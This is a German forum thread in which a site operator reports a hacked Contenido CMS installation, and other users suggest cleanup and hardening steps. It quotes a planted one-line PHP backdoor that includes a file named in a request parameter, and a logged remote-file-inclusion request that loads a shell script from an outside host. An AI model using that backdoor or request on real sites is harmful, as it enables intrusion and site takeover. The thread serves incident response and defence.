Seite 1 von 1

Contenido 4.6.XX gehackt

Verfasst: Mo 23. Jun 2008, 12:39
von Polardrache
Hallo Leute,

ich habe für eine befreundete Firma ein Projekt mit Contenido umgesetzt und dieses auch regelmäßig weiter betreut. Da wir in der nächsten Zeit einen Relaunch machen wollen, habe ich parallel zur alten 4.6.-Version auch 4.8. installiert (in der gleichen Datenbank, die neuen Taballen heißen alle con2_...). Die alte Contenido-Version lag in einem Unterordner "/c", die neue Version liegt direkt im Webroot. Die Domain liegt bei 1und1 in einen Webpack mit folgenden Daten:
Server: Apache/1.3.34 Ben-SSL/1.55
MySQL: 4.0.27-standard-log
PHP: 4.4.8
(leider sind alle PHP-Funktionen - auch die üblichen Verdächtigen - an, keine Ahnung ob 1und1 da auch andere Optionen anbietet)

Vor drei Tagen habe ich dann beide Versionen upgedatet, die 4.6. auf 4.6.24 und die 4.8. auf 4.8.6., wähnte mich also sicher.

Heute morgen mussten wir festellen, dass wir (anscheindend von einer türkischen Gruppe) gehackt wurden. Im Rootverzeichnis fand ich eine Datei "errors.php" mit dem Inhalt "<?include($_REQUEST["error"] . "/errors.php");?>". Im Verzeichnis "/contenido/logs" lag eine Datei "logs.php", die anscheinend den schädlichen Code enthielt. Weiterhin habe ich einige sehr große Filmdateien im Verzeichnis "/c/cms/upload/logos/.../" gefunden. Und schließlich waren die index.html und die front_content.php unter "/c/cms/" durch andere Dateien ersetzt.

Aufgrund der besonderen Situation mit den zwei Contenido-Versionen kann ich nicht genau sagen, ob es wirklich die 4.6.-Variante war, die gehackt wurde, aber es scheint mir wahrscheinlich.

Nun zu meinen Fragen: Die besagten Dateien habe ich gelöscht. Wie gehe ich jetzt weiter vor? Kann ich alle Dateien löschen, dann "frische" Contenido-Varianten hochladen und dann auf Update gehen, so dass die bestehende Datenbank übernommen wird? Oder könnte sich in der Datenbank auch noch irgendwas verstecken? Falls ja, wie kann ich diese säubern (ein aktuelles Backup gibt es - natürlich - nicht)? Und schließlich: Warum ist das Ganze überhaupt passiert? Ich dachte, es seien alle Lücken geschlossen.

Ich hoffe, ich habe nichts vergessen. Falls noch Infos zur Fehleranalyse fehlen bitte Bescheid sagen.

MfG


Edit: Hab den Titel des Beitrags geändert.

Nachtrag

Verfasst: Mo 23. Jun 2008, 12:57
von Polardrache
... hab gerade mal meine Logfiles durchgeschaut: Die Dateien "errors.php" und "log.php" sind schon länger auf dem Server gewesen. Offensichtlich ist der Angriff noch vor dem Update erfolgt. Damit erledigt sich die letzte Frage - die anderen bleiben natürlich aktuell.

Weitere Informationen

Verfasst: Mo 23. Jun 2008, 13:10
von Polardrache
Die Analyse meiner Logfiles hat gezeigt, dass kurz bevor zum ersten Mal erfolgreich auf die Datei "log.php" zugegriffen wurde, eine andere Anfrage von der gleichen IP kam: "//contenido/backend_search.php?contenido_path=http://www.r57shell.in/r57.txt????"

Auf die Datei liefen wohl vorher schon etliche Anfragen.

Verfasst: Mo 23. Jun 2008, 14:26
von frederic.schneider_4fb
Fand der Angriff definitiv nach dem Update auf 4.6.24 bzw. 4.8.6 oder noch davor statt? Wenn er davor stattfand, kann ich dir nur empfehlen, die eingeschleusten Dateien zu löschen - woran es lag, wissen wir ja dann.

Verfasst: Mo 23. Jun 2008, 16:12
von Polardrache
Wenn ich die Logfiles richtig gelesen habe, dann ist der Angriff wirklich schon älter. Es bleibt die Frage, ob es ausreicht alle Dateien zu tauschen oder ob ich mich auch um die MySQL-Datenbank kümmern muss.

Verfasst: Mo 23. Jun 2008, 16:33
von rethus
Da hilft nur die Sache im Auge zu behalten.

Sollte man Grundsätzlich machen:
  • htaccess-Passwortschutz in Contenido-Verzeichnis
  • alpha-numerische Passwörter mit Sonderzeichen (immer und überall) mind. 8 Zeichen
  • php.ini: allow_url_follow und (php5) allow_url_include deaktivieren.
  • contenido Benutzerkennungen ändern, bzw. überflüssige (wie Admin) löschen.
  • phpmyadmin nicht installieren, oder in einem Verzeichnis, das nicht phpmyadmin heißt.
Damit hast du schon mal eine Grundimmunität. Alles weitere ist Fine-Tunning.

PS: Alte Benutzerkennungen - sobald nicht mehr gebraucht - aus der Datenbank löschen!

Verfasst: Mo 23. Jun 2008, 17:07
von Polardrache
@rethus:

Vielen Dank für die Tipps, werde ich befolgen!

Verfasst: Di 24. Jun 2008, 07:44
von Dodger77
rethus hat geschrieben:php.ini: allow_url_follow und (php5) allow_url_include deaktivieren.
Die Einstellung heißt "allow_url_fopen":

http://php.net/manual/de/filesystem.configuration.php

Verfasst: Di 24. Jun 2008, 10:03
von rethus
@Dogger77:
Ja, bei der allow_url_fopen verhau ich mich irgendwie andauernd... kommt immer irgend was mit follow raus... keine Ahnung warum :roll: